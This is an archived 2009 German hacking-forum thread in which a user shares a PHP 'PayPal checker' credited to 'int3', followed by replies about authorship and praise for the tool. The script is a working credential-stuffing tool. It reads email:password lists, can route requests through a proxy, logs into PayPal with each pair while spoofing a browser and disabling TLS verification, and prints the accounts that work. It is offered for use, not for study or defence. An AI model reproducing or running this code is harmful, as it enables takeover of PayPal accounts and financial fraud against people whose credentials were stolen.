PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [PHP] Paypal Checker



jens3911
29.04.2009, 19:33
hier ist ein Paypal checker in php
by: int3


<?php
//script that checks list paypal accounts
//by int3
//use php check-paypal.php filename [-p proxyhttp://hackbase.cc/iSkin_Black/smilies/tongue.gifort]
//filename is in emailhttp://hackbase.cc/iSkin_Black/smilies/tongue.gifassword to check format

//first get filename with list and proxy name
$file;
$proxy;
$proxy_port;
for ($i=0; $i<$argc; $i++) {
if ($argv[$i] == "-p") {
$i++;
$proxy = substr($argv[$i], 0, strpos($argv[$i], ":")); //get proxy server
$proxy_port = substr($argv[$i], strpos($argv[$i], ":")+1); //get proxy port
echo "Using proxy: ", $proxy, ":", $proxy_port, "\n";
}
else
$file = $argv[$i];
}
$handle = fopen($file, "r");
while (!feof($handle)) {
$line = fgets($handle);
$email = trim(substr($line, 0, strpos($line, ':')));
$password = trim(substr($line, strpos($line, ':')+1));
check_paypal($email, $password);
}
fclose($handle);

//check if specified paypal login works
function check_paypal($user, $password) {
GLOBAL $proxy, $proxy_port;
$useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)
"; //firefox
//first get paypal cookie
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "https://www.paypal.com/us/"); //URL
curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
if (isset($proxy)) {
curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);
curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_PROXYPORT, $proxy_port);
}
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
curl_exec($curl);
curl_close($curl);
//then login to paypal account
$data = "login_email=" . $user . "&login_password=" . $password . "&target_page=0&submit.x=Log+In&form_charset=U TF-8&browser_name=undefined&browser
_version=undefined&operating_system=Windows&mid_pr ofile=";
$curl = curl_init();
if (isset($proxy)) {
curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);
curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_PROXYPORT, $proxy_port);
}
curl_setopt($curl, CURLOPT_URL, "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1fa798f5a5f5ae42e71c f8ee1e36
038233149a658e6082cfca");
curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
curl_setopt($curl, CURLOPT_REFERER, "https://www.paypal.com/us/");
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
$result = curl_exec($curl);
curl_close($curl);
if (preg_match('/<title>Logging in - PayPal<\/title>/', $result))
echo $user, ':', $password, "\n"; //GOOD ACCOUNT
}
?>

VeN0m
02.05.2009, 20:49
Ist aber nicht von Dir oder was heißt das "//by int3"? Oder bist Du das? Scripte klauen ist nicht so unbedingt nett, sorry. Irgendwer hatte sich ja schließlich die Mühe gemacht ;).

Burn0ut
02.05.2009, 22:11
Sehr schön das ist ein Lob wert :D Zwar brauch ich es nicht aber du weist was ich meine das es klappt.

jens3911
03.05.2009, 10:38
Ist aber nicht von Dir oder was heißt das "//by int3"? Oder bist Du das? Scripte klauen ist nicht so unbedingt nett, sorry. Irgendwer hatte sich ja schließlich die Mühe gemacht ;).

habe es hinzugefügt, ich weis schon das scripte klauen nicht toll ist deswegen habe ich das //int3 auch gelassen! blos wenn hier leute dieses script brauchen und ich es nicht posten soll weil es von jemand anderes ist,ist das schon blöd

VeN0m
03.05.2009, 11:27
Naja jetzt hast Du ja hinzugefügt "by: int3" in Deinem Beitrag. Das sah im ersten Moment nur so aus, als sei es von Dir bis ich den Kommentar im Sourcecode gesehen hatte. Ich finds natürlich klasse, dass Du Deine gefundenen Scripte mit uns teilst. Vor allem lässt sich so ein Paypal-Checker sehr gut nutzen. Okay... Ich brauche es nicht aber ist schon ziemlich gut, danke.